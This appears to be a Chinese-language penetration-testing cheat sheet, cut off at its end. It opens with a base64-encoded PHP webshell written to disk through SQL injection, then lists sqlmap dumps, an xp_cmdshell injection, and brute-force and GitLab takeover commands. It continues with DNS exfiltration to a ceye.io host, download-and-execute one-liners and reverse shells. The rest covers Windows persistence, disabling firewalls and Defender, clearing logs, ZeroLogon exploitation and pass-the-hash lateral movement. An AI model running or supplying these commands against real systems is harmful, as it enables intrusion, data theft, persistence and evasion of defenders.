file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php'; ``` ## sqlmap ``` python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080" ``` ``` python sqlmap.py -u "http://www.vuln.cn" –cookie "id=11" --level 2 ``` ``` python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 ``` ``` python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --dbs ``` ``` python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test --tables ``` ``` python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin –-columns ``` ``` python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump ``` ``` python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php" ``` ## sql注入 ### mssql 堆叠注入,xpcmdshell ``` http://www.vuln.cn/post.php?id=11;DECLARE/**/@ljbd/**/VARCHAR(8000);SET/**/@ljbd=0x70696e67202d6e6320312077772e36373332396163312e646e732e313433332e65752e6f7267;EXEC/**/master..xp_cmdshell/**/@ljbd-- ``` ## gitlab相关 进入控制台 ``` gitlab-rails console production 如果没配置环境变量,cd到安装目录下 /bin/rails console production 如果报错可用 ./rails console -e production ``` 修改密码 ``` 通过用户名查找,赋值给user user = User.where(username:"root").first 修改密码 user.password = "abc123" user.password_confirmation= "abc123" user.save! ``` 把用户设为admin ``` 通过用户名查找,赋值给user user = User.where(username:"test").first user.admin=ture user.save! ``` 新增用户参考:https://gist.github.com/tacettin/8182358 ## 找可写目录 ``` ### linux #### 在/root war文件的同目录下 写 find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done 删 find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done #### 在/root war文件夹下 写 find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done 删 find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done ### windows #### 在C:\Users\liulangmao\Desktop任意子目录 war.txt文件的同目录下 写 for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt) 删 for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (del %i\..\finddir.txt) #### 在C:\Users\liulangmao\Desktop任意子目录 war文件夹下 写 for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (echo %i > %i\finddir.txt) 删 for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (del %i\finddir.txt) ``` 示例:在weblogic靶机/root 所有war文件夹下的finddir.txt文件中写入该war文件夹的路径。 ``` find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done ``` 程序名找启动路径 ``` wmic process where name='mysqld.exe' get processid,executablepath,name ``` 启动路径找login.jsp ``` for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i) ``` base64分段不换行追加写文件 ``` echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\UFGOV\U8\webapps\demonstrate.txt ``` 解决cmd无回显问题 ``` powershell Get-ChildItem C: ``` ## hydra ``` 参数: -l 指定的用户名 -L 用户名字典 -p 指定密码 -P 密码字典 -s 指定端口 -o 输出文件 -t 任务数默认16 -f 爆破成功一个就停止 -v 报错日志详细 -V 攻击日志 >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql >hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4 >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv >hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V >hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV >hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10 ``` ## medusa ``` 参数: -h 目标名或IP -H 目标列表 -u 用户名 -U 用户名字典 -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程 -n 指定端口 -e ns 尝试空密码和用户名密码相同 >medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql >medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql ``` ## python交互shell py3 ``` python3 -c "import pty;pty.spawn('/bin/bash')" ``` py2 ``` python2 -c 'import pty;pty.spawn("/bin/sh")' python -c 'import pty;pty.spawn("/bin/bash")' ``` 用完记得清记录 ``` history -c ``` ## 无交互添加用户 ``` useradd newuser;echo "newuser:password"|chpasswd ``` ``` useradd -p `openssl passwd 123456` guest ``` ``` useradd -p "$(openssl passwd 123456)" guest ``` ``` useradd newuwer;echo -e "123456\n123456\n" |passwd newuser ``` ### windows ``` net user admin$ Afabab@20 /add net localgroup administrators admin$ /add net user guest /active:yes net localgroup administrators guest /add Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组 Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组 ``` ## 防火墙 ``` 关闭防火墙 netsh firewall set opmode mode=disable 放行远程8888端口进来的流量 netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow 放行出去到远程8888端口的流量 netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow 放行本地4444端口出去的流量 netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow 放行从本地4444端口进来的流量 netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow 删除规则 netsh advfirewall firewall delete rule name="88" 查看防火墙配置(可看到具体规则等配置) netsh firewall show config 关闭windefebd net stop windefend netsh firewall set portopening TCP 445 ENABLE //打开445端口 netsh firewall set portopening TCP 3389 ENABLE //开放终端 netsh firewall delete allowedprogram C:/A.exe //删除放行程序A.exe netsh firewall set allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行 netsh firewall add allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行 新版本命令 netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes netsh advfirewall firewall add rule name="test" dir=out action=allow program="C:\windows\temp\update.exe" enable=yes ``` 端口转发 把本地的 801 端口转发到远程的 172.23.80.14 的 80 端口 ``` netsh interface portproxy add v4tov4 listenport=801 connectport=80 connectaddress=172.23.80.14 ``` iptables 放行 ``` iptables -A INPUT -p tcp --dport 80 -j ACCEPT ``` ## frp常用配置 frpc.ini ``` [common] server_addr = xxxxxx server_port = 7000 [rdp] type = tcp local_port = 3389 remote_port = 3389 [plugin_http_proxy] type = tcp remote_port = 10801 plugin = http_proxy [plugin_socks5] type = tcp remote_port = 1080 plugin = socks5 ``` ## ZeroLogon - 产生日志 4742(利用成功), 5580(利用失败) - 流量特征明显 - 会被av直接秒 - 有可能会导致目标脱域 - 代理不稳,容易出问题 ``` git clone https://github.com/mstxq17/cve-2020-1472.git python3 zerologon_tester.py Dc02 172.23.119.120 域外检测 PingCastle.exe --server 172.23.119.120 --scanner zerologon --scmode-dc 域内检测 ``` 洞清空目标域控机器账户密码 ``` python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120 ``` 无密码远程提取 ntds.dit ``` python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash ``` 用 administrator 域管账户 hash 远程导出域控机器账户 hash [hex 格式] ``` python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/[email protected] ``` 用上面的 hex 还原目标域控机器账户密码 ``` python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131*** ``` ## 删rdp日志 清除远程桌面连接记录,创建clear.bat ``` @echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\attrib Default.rdp -s -h del Default.rdp ``` ## 开3389 ``` 方法一 wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f net start TermService 方法二 #设置远程桌面端口 reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f #开启远程桌面 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #检查端口状态 netstat -an|find "3389" #关闭远程桌面 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 ``` ## 文件搜索 https://www.anquanke.com/post/id/245019 ``` findstr /s /i /n /d:C:\ /c:"123123" *.txt ``` ``` for /r C: %i in (login.*) do @echo %i ``` ``` where /R C: login.* ``` ``` dir /s/a-d/b login.* ``` ``` find / -name index.php ``` ``` find / -name index.php ``` ``` find / -name "index.php" | xargs grep "111222" ``` ``` updatedb && locate index.php ``` ``` 进程路径 wmic process get name,executablepath ``` ### 外带oob Windows 在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。 ``` echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io ``` 下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。 ``` for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt) ``` 为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。 ``` echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io ``` 如果需要外带多行命令,则需要以下语句: ``` where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin } (b)Linux ``` 在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。 ``` ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io ``` base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。 ``` pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io ``` 如果有多行数据需要外带,那么请考虑下面的语句。 ``` var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done ``` ## windows短文件名 短文件名查看 ``` 用"dir /x"命令可以方便地帮助您查看系统对目录或文件名的缩写 ``` 常见短文件名 ``` Documents and Settings 可表示为 DOCUME~1 又如: Local Settings 可表示为 LOCALS~1 Program Files Program Files (x86) 这两个目录分别表示为: PROGRA~1 PROGRA~2 ``` ## powershell文件下载 ``` powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe' ``` 常用 ``` powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe') ``` ``` Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1") ``` bypass ``` echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell - ``` base64编码(和其他base64不同,解不开) ``` $Text = "(new-object System.Net.WebClient).DownloadFile('http://xxxxxxxxxx:8000/bddch.txt','bdchd.txt')" $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) $EncodedText =[Convert]::ToBase64String($Bytes) $EncodedText ``` base64解码 ``` $EncodedText = "dwByAGkAxxxxxxxxxxxxxxxxxxxAG0AbgB0AG4AJwA=" $DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText)) $DecodedText ``` 运行base64编码后的命令 ``` powershell -noP -sta -enc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ``` ## certutil.exe下载 ``` C:\Windows\System32\certutil.exe C:\Users\Public\cer.exe ``` ``` certutil.exe -urlcache -split -f http://192.168.1.1/1.exe ``` ``` certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe ``` ``` certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe ``` 删除缓存 ``` certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete ``` 查看缓存项目: ``` certutil.exe -urlcache * ``` 转为base64 ``` certutil -encode lcx64.exe lcx64.txt ``` 转回来 ``` certutil -decode lcx64.txt lcx64.exe ``` 查看md5 ``` certutil -hashfile a.exe MD5 ``` bypass ``` Certutil & Certutil –urlcache –f –split url Certutil | Certutil –urlcache –f –split url ``` ## bitsadmin **不支持https、ftp协议,php python带的服务器会出错** ``` bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe ``` ## wget 下载文件 下载到指定目录 ``` wget -P /tmp http://127.0.0.1:8088/aliyun ``` ## curl 下载 使用内置option:-o(小写) ``` curl -o dodo1.jpg http:www.linux.com/dodo1.JPG ``` 使用内置option:-O(大写) ``` curl -O http://www.linux.com/dodo1.JPG ``` 下载后,上线 ``` chmod +x /tmp/aliyun&&/tmp/aliyun ``` ## windows权限维持 ### Startup目录 ``` NT6以后的目录如下: 对当前用户有效: C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 对所有用户有效: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp NT6以前的目录如下: 对当前用户有效: C:\Documents and Settings\Hunter\「开始」菜单\程序\启动 对所有用户有效: C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ``` ### 注册键 ``` reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe" ``` ``` 1.Load注册键 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load 2.Userinit注册键 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。 3.Explorer\Run注册键 Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。 4.RunServicesOnce注册键 RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce 5.RunServices注册键 RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices 6.RunOnce\Setup注册键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup 7.RunOnce注册键 安装程序通常用RunOnce键自动运行程序,它的位置在 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce [小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。 8.Run注册键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。 ``` ### 服务 ``` sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem" ``` ### 计划任务 ``` SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe ``` ### WMI事件 ``` wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\"" ``` ### 屏幕保护 ``` reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f ``` ### bitsadmin ``` bitsadmin /create evil bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe" bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL bitsadmin /Resume evil ``` ### Netsh白加黑 ``` 可以通过导入helperdll的方式做权限维持,命令格式如下: netsh add helper [Absolute evil DLL path] 但是由于netsh并不会开启自启动,因此还要再写一条自启动项: reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh" 重新启动后依然可获得shell: ``` ### MSDTC 在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。 默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启: ``` sc qc msdtc sc config msdtc start= auto ``` ## windows信息收集常用命令 ``` Systeminfo 计算机详细信息(补丁信息) Net start 所启动的服务 Wmic service list brief 查询本机服务信息 Tasklist 进程列表 Wmic startup get command,caption 查看启动该程序信息 Schtasks /query /fo LIST /v计划任务 Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色 Query user || qwinsta 查看当前在线用户 Net session 列出会话 Net share 查看本机的共享列表 Wmic share get name,path,status 查看共享列表 Net user 本地用户 Net user kkkk 查看本地用户信息 Net localgroup 本地用户组 Net localgroup /domain 域用户组 Net localgroup adminnstrators 本地管理员组成员 net localgroup adminstrators /domain 查看登陆过主机的管理员 Wmic useraccount get /all 获取域内用户详细信息 dsquery user 查看存在的用户 Net user /domain 域用户信息 Net user kkkk /domain 域用户kkkk信息 Net user kent password /add /domain添加域用户 Net group /domain 域用户组信息 Net view /domain 查询域 Net view /domain:test 查询域内计算机 Net accounts /domain 查询域中密码策略 Net group /domain 查看域内所有用户组 Net group "Domain Controllers" /domain 查看域控制器组 Net group "Domain computers" /domain 查看域内所有计算机列表 Net group "Domain admins" /domain 查看域内管理员用户 Net user /domain kent active:yes 启用域账户 Net user /domain kent active:no 禁用域账户 Nltest /DCLIST:test 查看域中域控制器名 Wmic useraccount get /all 用户详细信息 Net group "Domain Admins" /domain 对应组下的账户信息 nltest /domain_trusts 获取域信任信息 net config workstation 了解本机的配置信息 Netsh firewall show config 查看防火墙配置 Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后) Netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序进入(windows server 2003后) Netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe"允许指定程序退出(windows server 2003后) Netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后) Reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"查看端口代理配置信息 Reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程桌面端口号 ``` ## at&schtasks&sc横向 使用明文密码登录到目标,需要445和139端口开启: ``` net use \\192.168.2.148\ipc$ password /user:test\administrator net use \\192.168.2.148\ipc$ password /user:administrator 复制文件 copy c:\1.exe \\192.168.2.148\c$ at新建10:10分运行的定时作业 at \\192.168.2.148 10:10 c:\1.exe Windows server 2012及以上使用schtasks命令 Schtasks /create /s 192.168.2.148 /ru “SYSTEM” /tn executefile /sc DAILY /tr c:/1.exe /F Schtasks /run /s 192.168.2.148 /tn executefile /i Schtasks /delete /s 192.168.2.148 /tn executefile /f sc \\192.168.210.107 create hacker binpath="c:\shell1.exe" #创建服务 sc \\192.168.210.107 start hacker #启动hacker服务 ``` ## impacket包横向命令 下载https://github.com/maaaaz/impacket-examples-windows https://github.com/ropnop/impacket_static_binaries/releases Atexec ``` 需要445端口开启 Atexec.exe hacker/administrator:[email protected] "whoami" Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami" ``` dcomexec ``` 需要135端口开启 dcomexec.exe hacker/administrator:[email protected] "whoami" dcomexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami" ``` psexec ``` 官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序: Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator Psexec \192.168.202.148 -accepteula -s cmd 官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递 Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/[email protected] "whoami" (官方提供的exe执行不了) ``` smbexec ``` 需要445端口开启 Smbexec test/Administrator:[email protected] Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected] ``` wmi ``` WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。 第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录) Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create "cmd.exe /c ipconfig >C:/1.txt" 第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀 Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123 第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显 Wmiexec test/Administrator:[email protected] "whoami" Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected] "whoami" ``` 批量操作,需要保存为bat执行 ``` 用已知密码和用户,批量连接ip: FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “password” /user:hacker\administrator 已知用户和ip,批量连接密码(爆破密码): FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ "%%i" /user:test\administrator 已知用户和ip,批量连接hash(爆破hash): FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/[email protected] "whoami" ``` 精准批量法 ``` shell for /l %i in (1,1,253) do echo 172.22.13.%i >>tip.txt shell for /f %i in (tip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %%i >>ok.tx shell for /f %i in (ok.txt) do dir \\%i\c$\users >>result.txt ``` cme 批量 ``` proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user" ``` 单独执行命令 ``` crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami ``` ldap喷洒 ``` cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users ``` ## 反弹shell ## nc ``` nc -lvvp 4444 ``` ## bash ``` bash -i >& /dev/tcp/172.16.1.130/4444 0>&1 exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done ``` ## perl ``` perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ## python ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ## php ``` php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ## ruby ``` ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` ## nc ``` nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 ``` ## java ``` r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ## lua ``` lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` ## powershell ``` powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444 ``` ## 加密shell ``` mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s ``` # msf大全 https://xz.aliyun.com/t/2536 https://www.freebuf.com/articles/web/270456.html https://saucer-man.com/information_security/79.html https://www.anquanke.com/post/id/235631 https://www.anquanke.com/post/id/164525 ## 安装 安装 ```bash # 安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装目录 # /opt/metasploit-framework/embedded/framework/ ``` 安装2 ``` wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run chmod +x ./metasploit-latest-linux-x64-installer.run ./metasploit-latest-linux-x64-installer.run ``` payload生成 Linux ```bash 反向连接: msfvenom -p 